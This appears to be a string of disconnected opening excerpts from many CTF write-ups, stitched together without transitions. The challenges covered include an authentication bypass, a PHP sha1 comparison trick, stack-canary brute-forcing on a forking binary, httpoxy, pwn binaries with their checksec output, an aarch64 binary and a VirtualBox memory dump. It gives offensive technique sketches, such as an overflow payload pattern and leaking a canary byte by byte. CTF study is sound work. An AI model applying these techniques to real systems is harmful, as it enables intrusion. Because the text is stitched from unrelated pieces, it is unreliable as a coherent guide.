The challenge here is to bypass a creative authentication mechanism. You can download the server’s source code here, and run it in local as I did during the CTF.

<tl;dr>

To have the flag you just need to login with a serialnuber which exists in a table named ‘serialnumbers’, initially populated by 2 entries.

To bypass authentication and print the flag just signup as:

Username: pyno
Password: pyno
Serialnumber: serialnumber

And then login with the user pyno.

</tl;dr>

Here we are with a remake/improvement of the HTI challenges from Hack Dat Kiwi 2015! I particularly enjoyed this challenge, since I solved the previous one as well. The goal is to bypass a filter for SQL injections in a web application.

This is the write up for the Bin 2 Labyrenth CTF 2017.

Short version: make this script print the flag.

<?php
require 'flag.php';

if (isset($_GET['name']) and isset($_GET['password'])) {
    $name = (string)$_GET['name'];
    $password = (string)$_GET['password'];

    if ($name == $password) {
        print 'Your password can not be your name.';
    } else if (sha1($name) === sha1($password)) {
      die('Flag: '.$flag);
    } else {
        print '<p class="alert">Invalid password.</p>';
    }
}
?>

There are two possible ways to solve this: either one finds a collision on SHA-1, or one manages to convince PHP to enter the else if without doing so.

As usual we execute file command on the binary

$ file baby 
baby: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, not stripped

and with checksec we get… WHAT?

./checksec --file baby 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	FORTIFY	Fortified Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   Yes	0		10	baby

This challenge is divided in two steps: bypass the authentication and solving the maze. The first one tooks us several hours and was at the end solved by @invano.

The source code (https://cthulhu.fluxfingers.net:1507/code.php) tell us the server is an Apache/2.4.7-ubuntu4 which is vulnerable to CVE-2016-5387, better known as httpoxy.

First at all execute file command on the binary

$ file feedme 
feedme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped

and with checksec we see that NX is enabled and debugging a little bit we realize that the usage of the binary is simple: a “parent” process launches child processes that takes 1 byte x, then reads x number of bytes. But the length of the buffer is 32, so if we send “\x36” + “A”*0x36 the canary is overwritten and smash the stack detected.

So we have to leak the canary in order to overwrite the return address. The bug was that child’s canary is always the same, so we can try to send 0x32 bytes of garbage and bruteforce the 33th byte (easy, always \x00), then the 34th, then the 35th and 36th one.

This is a simple pwnable challenge, solved with a funny trick.

First of all execute file command

$ file 23e4f31a5a8801a554e1066e26eb34745786f4c4 
23e4f31a5a8801a554e1066e26eb34745786f4c4: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x161ccbaf95a7d5b84a8298afab8fdeaeedd445c0, not stripped

and checksec

$ ./checksec --file 23e4f31a5a8801a554e1066e26eb34745786f4c4 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	FORTIFY	Fortified Fortifiable  FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   No	0		4	23e4f31a5a8801a554e1066e26eb34745786f4c4

So i expect that i have to do something on the stack. The program is simple: reads a string with gets and an integer and check if it is odd.

I solved this challenge during the ctf with @ret2libc.

First of all execute file command

$ file pwn2
pwn2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xbc536d4b730eca9af1733195bd75dc53486a0d54, not stripped

and checksec

$ ./checksec --file pwn2
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	FORTIFY	Fortified Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No	0		2	pwn2

The vulnerability is trivial: a very basic integer overflow

I worked on this challenge with @dariosharp.

This crypto challenge (https://giant-goannas.ctfcompetition.com/) has a quite easy request

So we have to choose the right number n-times consecutively. If we make a mistake, we have to repeat this process from the beginning (obviously with different numbers).

I worked on these challenges with @pagabuc for some time. We compiled the Protocol Buffer and started playing with the first challenge.

Let’s do a file as a first thing:

$ file ./app/forced-puns
./app/forced-puns: ELF 64-bit LSB  shared object, ARM aarch64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 3.7.0, BuildID[sha1]=a677e5ead33f8ac9d3948e8157cdcfa39b3f9701, not stripped

Aarch64, never seen its assembly before, but there’s always a first time.

First of all i executed file after unzipping the archive

file dump1.raw 
dump1.raw: ELF 64-bit LSB core file x86-64, version 1 (SYSV) 

With

$ hexdump -C dump1.raw | less
00000000  7f 45 4c 46 02 01 00 00  00 00 00 00 00 00 00 00  |.ELF............|
00000010  04 00 3e 00 01 00 00 00  00 00 00 00 00 00 00 00  |..>.............|
00000020  40 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |@...............|
00000030  00 00 00 00 40 00 38 00  09 00 40 00 00 00 00 00  |....@.8...@.....|
00000040  04 00 00 00 04 00 00 00  38 02 00 00 00 00 00 00  |........8.......|
.......
000001f0  00 10 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000200  01 00 00 00 04 00 00 00  a8 64 40 38 00 00 00 00  |.........d@8....|
00000210  00 00 00 00 00 00 00 00  00 00 ff ff 00 00 00 00  |................|
00000220  00 00 01 00 00 00 00 00  00 00 01 00 00 00 00 00  |................|
00000230  00 00 00 00 00 00 00 00  06 00 00 00 18 00 00 00  |................|
00000240  00 0b 00 00 56 42 43 4f  52 45 00 00 de c0 1a c0  |....VBCORE......|
00000250  03 00 01 00 18 00 00 00  10 00 00 05 8f 9d 01 00  |................|
00000260  01 00 00 00 05 00 00 00  30 22 00 00 01 0b 00 00  |........0"......|
00000270  56 42 43 50 55 00 00 00  00 55 3c 63 00 f8 ff ff  |VBCPU....U<\c....|

I see that this is a dump of a VirtualBox instance, by looking at VBCORE and VBCPU strings.

I worked on this challenge with @hanyone and @castor91, but at the end @rpaleari solved it with the old but gold (smart) brute force.

The program is very simple: it has 6 functions named up, down, left, right, a, b that change in some ways a global state variable and a check one. Moreover, the a function is the one that outputs the final flag.